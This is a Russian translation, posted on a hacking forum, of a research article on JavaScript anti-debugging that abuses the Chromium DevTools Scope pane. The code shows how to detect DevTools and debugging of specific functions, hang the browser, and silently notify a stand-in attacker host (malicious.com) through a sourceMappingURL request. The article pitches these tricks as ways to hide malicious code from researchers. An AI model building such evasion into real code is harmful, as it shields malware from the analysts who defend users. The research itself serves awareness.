• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Антиотладка Javascript - полная х#$^я нового уровня злоупотребление панелью Scope в Chromium Devtools

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
1663236949675.png

ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов


Злоупотребление панелью Chromium Devtools Scope Pane может позволить выполнение Javascript с помощью devtools, в то время как основной поток приостановлен отладчиком! Я использовал этот трюк для создания очень мощной библиотеки для борьбы с отладкой, которая отслеживает поток отладки, выполняемой пользователем, и соответствующим образом изменяет поток выполнения - посмотрите DEMO.

В рамках долгосрочного исследования методов борьбы с отладкой, которым я занимаюсь (настоятельно рекомендую вам прочитать первую часть моей работы, если вы никогда этого не делали, чтобы понять суть моей работы), я наткнулся на список методов, и именно раздел 4 заставил меня провести исследование, о котором я расскажу в этой статье:


Код:
(function xyz(){
    let div = document.createElement('div');
    let loop = setInterval(() => {
        console.log(div);
        console.clear();
    });
    Object.defineProperty(div, "id", {get: () => {
        clearInterval(loop);
        alert("Dev Tools detected!");
        return 'SOME_FAKE_ID';
    }});
}())

1663237389858.png
Это заставило меня задуматься о том, как это работает. Позвольте мне поделиться с вами своим пониманием: Когда вы выполняете приведенный выше код, не открывая devtools, ничего не происходит. Но как только вы открываете devtools, появляется предупреждающее сообщение. Происходит это потому, что код постоянно записывает созданный элемент div в консоль devtools. Когда devtools просят записать подробности об элементе, одной из деталей, которую он пытается получить для представления, является id элемента, поскольку это очень часто используемое и важное свойство. Поэтому обычно, если вы создадите элемент div и зададите ему некоторый id, то при вызове console.log() с ним вы получите код справа на картинке.

Но в приведенном выше примере кода произошло то, что создатель кода заменил родной getter свойства id элемента div собственным getter, функцией getter, при вызове которой утверждается, что он точно знает, что devtools открыт. И эта уверенность на самом деле оправдана, если подумать. Ссылка на этот элемент div доступна только через внутреннюю область видимости функции xyz. Это означает, что никакой другой код на сайте никогда не будет иметь ни причины, ни возможности получить доступ к свойству id этого div. Единственная причина, по которой эта функция будет вызвана, это devtools, потому что она была записана в консоль devtools - и этот сценарий будет существовать только тогда, когда devtools открыт или будет открыт. Таким образом, можно с уверенностью сказать, что искусственный геттер id будет вызываться только при открытии devtools - таким образом, он может быть безупречным индикатором того, что devtools открыт!
Это последнее изменение, который я смог найти в Интернете относительно этого трюка, хотя я знал, что в нем есть большой потенциал и что его можно использовать для создания более мощных возможностей.
Я подумал: "Неужели консоль - это единственный способ заставить devtools вызвать управляемую мной функцию getter?". Потому что если это так, то этот трюк хорош, но он не может служить злоумышленникам - печать в консоль или ее очистка будут противоположны тому, чего злоумышленник пытается достичь, используя антиотладочные техники - а именно скрытия. Я решил отладить приведенный выше фрагмент javascript и просмотреть каждую строку по одному шагу за раз. И тут я заметил неожиданное поведение - предупреждение выскакивает, как только я перешагиваю через строку Object.defineProperty, не рассчитывая на то, что строка console.log(div) сделает свою работу после этого. Как же происходит вызов переопределенной функции getter без выполнения строки console.log(div)? Это означает, что элемент div, вероятно, представлен в другом месте фрейма devtools.

1663237617394.png

Все верно - наш геттер вызывается для того, чтобы представить элемент в панели области видимости (справа), а также в консоли. Теперь это более интересно, чем раньше, по двум причинам:

  1. Это означает, что есть способ использовать этот трюк, не загрязняя консоль, что очень важно.
  2. Это означает, что я могу контролировать этот трюк и решать, когда и в каком конкретном диапазоне активировать обнаружение! Или, другими словами, вместо того, чтобы обнаруживать открытие devtools в целом, я могу использовать этот трюк для обнаружения отладки конкретной области в моем коде!

Код:
function malicious() {
    const detect = (function(){
        const dummy = /./;
        dummy.toString = () => {
            alert('someone is debugging the malicious function!');
            return 'SOME_NAME';
        };
        return dummy;
    }());

    // do a malicious action
    if (window.stealUserCookies) window.stealUserCookies();
}

function legit() {
    // do a legit action
    return 1 + 1;
}

function main() {
    legit();
    malicious();
}

debugger;
main();

Возьмите приведенный выше код и запустите его в консоли devtools дважды: в первый раз войдя в функцию main, в легитимную функцию или над ней (не имеет значения), а затем - над вредоносной функцией. Никакого предупреждения, верно? Вредоносная функция была выполнена тихо и не была отлажена. Во второй раз проделайте то же самое, только на этот раз сделайте шаг не над вредоносной функцией, а в ней. В этот раз вы должны получить предупреждение. Это происходит потому, что после оценки переменной detect, которая добавляет нашу специальную regex-переменную в область видимости, панель области видимости теперь должна отображать имя regex-переменной, которая сохранена в переменной detect.
Этот дефект позволяет мне определить, какая функция была отлажена, когда был открыт devtools, а какая нет. И я могу не только определить это, но и выбрать, какое действие предпринять, когда функция отлаживается, и выполнить это действие в другом параллельном потоке с полным доступом к основному потоку!
Что также очень здорово в этом трюке и доставит трудности всем, кто пытается отладить код злоумышленника, так это то, что обратный вызов, который должен быть вызван, когда функция отлаживается, не может быть отлажен в devtools, потому что это часть кода, которая вызывается самим devtools. Это означает, что единственный способ успешной отладки этой функции - через инструменты разработчика инструментов разработчика! (Вы можете прочитать этот абзац столько раз, сколько потребуется, не торопитесь).
Это, например, приведет к тому, что браузер застрянет только тогда, когда вредоносная функция будет отлажена (на основе примера выше):
Код:
function malicious() {
    const detect = (function(){
        const dummy = function(){};
        dummy.toString = () => {
            while (1) {}
        };
        return dummy;
    }());

    // do a malicious action
    if (window.stealUserCookies) window.stealUserCookies();
}

И это может молча уведомить сервер злоумышленника об отладке вредоносной функции без ведома пользователя:

Код:
function  smap(url, data)  {
    const script = document.createElement('script');
    script.textContent =  `//# SourceMappingURL=${url}?data=${JSON.stringify(data)}`;
    document.head.appendChild(script);
    script.remove();
}

function malicious() {
    const detect = (function(){
        const dummy = function(){};
        dummy.toString = () => {
            smap('https://malicious.com/reportFunctionIsDebugged',  {name: 'malicious'});
        };
        return dummy;
    }());

    // do a malicious action
    if (window.stealUserCookies) window.stealUserCookies();
}

// if this '//# SourceMappingURL=' trick doesn't make sense to you, you MUST read part 1 of my anti debugging techniques research!
// check out https://weizman.github.io/?javascript-anti-debugging-some-next-level-shit-part-1

Вы поняли идею - запускайте все, что хотите, в любой выбранной вами области видимости без необходимости ждать, пока отладчик освободит код от паузы!

Отладчик-трекер (Переход на новый уровень)

Основываясь на том, что мы только что узнали, я решил создать debug-tracker - библиотеку NodeJS, которая получает строковое представление кода javascript и возвращает его, когда каждая функция теперь отслеживается, так что когда кто-то перейдет к этой функции через отладчик devtools, будет вызван предусмотренный обратный вызов. Думайте об этом, как о запуске события, указывающего на то, что функция отлаживается, с указанием имени функции.
Таким образом, в основном передается следующий код:

Код:
function y(b) {
    return b + 5;
}

var x = (a) => {
    return y(a + 1);
};

x(3);

в библиотеку вместе со следующим обратным вызовом (который будет запущен при отладке функции):

Код:
function (info) {
    alert(`
            Function ${info.function_name} is being debugged!
            It was called with the following arguments: ${JSON.stringify(info.function_arguments)}
            First time it happened: ${info.first_timestamp}
            Last time it happened: ${info.last_timestamp}
    `);
}

В результате:

Код:
// callback to be called when function is debugged
    const onFunctionDebugged = (function (info) {
        alert(`
                Function ${info.function_name} is being debugged!
                It was called with the following arguments: ${JSON.stringify(info.function_arguments)}
                First time it happened: ${info.first_timestamp}
                Last time it happened: ${info.last_timestamp}
        `);
    });
    const initTracker = (function() {
        let callstack = [], callargs = [];
        setTimeout(() => {
            // reset callstack when synchronized debugging is over
            callstack = [];
            callargs = [];
            });
        return (function(name, args = []) {
            const dummy = /./;
            const firstDebugTime = new Date();
            args = Array.prototype.slice.call(args);
            // register the callback to be called when the function is being debugged
            dummy.toString = function () {
                // avoid being double called for the same debugged function
                if (callstack[callstack.length - 1] === name) {
                    let same = true;
                    for (let i = 0; i < args.length; i++) {
                        if (args[i] !== callargs[callargs.length - 1][i]) {
                            same = false;
                            break;
                        }
                    }
                    if (same) return;
                }
                // fire "function is being debugged" event
                callargs.push(args);
                callstack.push(name);
                onFunctionDebugged({
                    function_name: name,
                    function_arguments: args,
                    first_timestamp: firstDebugTime,
                    last_timestamp: new Date()
                });
            };
            return dummy;
        });
    }());

Код:
/*
step in / out / over any function you want starting at this point
*/

function y(b) {
    const svn_io379w = initTracker('y', arguments);

    return b - 1;
}

var x = function x(a) {
  const svn_io379w = initTracker('x', arguments);

  return y(a + 1);
};

alert(3 === x(3));

1663238147604.png


Я также создал удобный веб-сайт, где вы можете загружать любые (небольшие) внешние ресурсы javascript и получать их, обернутые отладочным трекером и загруженные в веб-сайт, так что вы можете отлаживать его по своему усмотрению, и в конце сессии вам будет представлен поток отладки, который вы сделали (вошли ли вы в функцию или вышли из нее). Он также умеет обрабатывать асинхронные ситуации и может обрабатывать рекурсию (при условии, что аргументы, передаваемые в одну и ту же функцию, отличаются от предыдущих).

Примеры использования в реальной жизни

Итак, используя эту способность вышеописанным образом, я смог создать чрезвычайно сильную технику защиты от отладки для браузеров, использующих devtools Хрома, которая позволяет мне не только определить, когда devtools открыт, но и специально контролировать и защищать определенные области и функции от осмотра. Это может быть очень полезно для злоумышленников во многих отношениях. Когда речь идет об атаках на жертв через Интернет, есть несколько проблем, с которыми приходится сталкиваться злоумышленникам. Самой сложной из них, вероятно, будет "заманить жертву в свою сеть", то есть заставить ее нажать на ссылку или непреднамеренно посетить вредоносный веб-сайт. После того, как атакующий прошел эту задачу и ему удалось запустить свой вредоносный код в браузере жертвы, перед ним встает еще одна серьезная задача - сохранить тишину и сделать так, чтобы атака не была обнаружена и не отслежена. На мой взгляд, это один из самых важных аспектов, на который злоумышленники должны обращать внимание при построении атакующей системы (и я могу вас заверить, что злоумышленники правительственного уровня, скорее всего, так и делают). Чем больше ресурсов и усилий злоумышленники вкладывают в свою атакующую систему, тем больше они хотят защитить ее и убедиться, что она остается под прикрытием. В противном случае небрежность приведет (и уже приводила в прошлом) к тому, что все эти ресурсы и усилия пойдут насмарку, а это тяжелый удар, от которого трудно оправиться.
Злоумышленники могут вывести свои продукты на новый уровень, используя сложные антиотладочные трюки, такие как тот, который я представил в первой части этой статьи, или такой, который представлен в этой части статьи.
Используя этот трюк и защищая конкретные чувствительные функции во время отладки (либо застревая в devtools, либо изменяя объекты javascript верхнего уровня, чтобы потом испортить поток кода, либо что-то еще), вместо общей защиты devtools, злоумышленники могут сделать свою защиту от отладки более точной, а свой процент успеха - более высоким, убедившись, что они прекращают атаку только тогда, когда действительно есть опасность быть раскрытыми. Это, как уже говорилось, может поднять качество атакующих продуктов на другой уровень.
Почему вы все время говорите об антиотладочных техниках? Похоже, вы единственный, кого это так сильно волнует!
На этот вопрос будет дан полный ответ в следующей нетехнической статье, которую я планирую написать, но суть в том, что я пытаюсь привлечь внимание к этой теме. Я вижу так много компаний, занимающихся веб-безопасностью, которые рассказывают о различных угрозах, с которыми приходится сталкиваться атакующим и защитникам, но никто не говорит об этой части, возможно, потому что высококачественные методы защиты от отладки не были чем-то особенным несколько месяцев назад. Но с помощью двух техник, которые я представил в рамках публикуемого цикла статей, я действительно верю, что вредоносные организации (и другие организации тоже) могут гораздо лучше скрывать свое поведение в браузере и лишить очень большую часть исследователей безопасности возможности успешно раскрыть истинные намерения этих организаций. Это может изменить ход игры, и нам, как экспертам по веб-безопасности, необходимо начать думать в этом ключе при проведении исследований и работе в данной области. В противном случае мы пропустим много плохого в Интернете и позволим злу пройти через ворота. Даже небольшое изменение подхода к исследованиям в области веб-безопасности может помочь нам создавать работы и результаты более высокого качества, и это то, что я пытаюсь здесь продвигать.

Подводя итог
Как человек, который достаточно много сталкивался с миром веб-безопасности и хакерства во время своей военной службы, я могу сказать вам, что этот трюк при правильном использовании выведет игру на новый уровень.
Выявить вредоносную активность в браузере гораздо сложнее для исследователей, когда действия злоумышленника происходят в браузере без того, чтобы исследователь мог сказать, что они вообще произошли!
Правильное внедрение этого трюка в атакующий набор эксплойтов значительно снизит шансы исследователей быть обнаруженными (хотя, возможно, уже не так сильно, теперь, когда эта статья опубликована в открытом доступе), отфильтровывая тех, кто не в курсе, и атакуя только невиновных.
Конечно, этот трюк может быть очень полезен не только для злоумышленников, но и для других организаций (например, для крупных компаний, которые хотят изменить свой код, когда его изучают исследователи).
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Этот код, должен работать тоже иначе, но работает именно так.

1664248512300.png
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх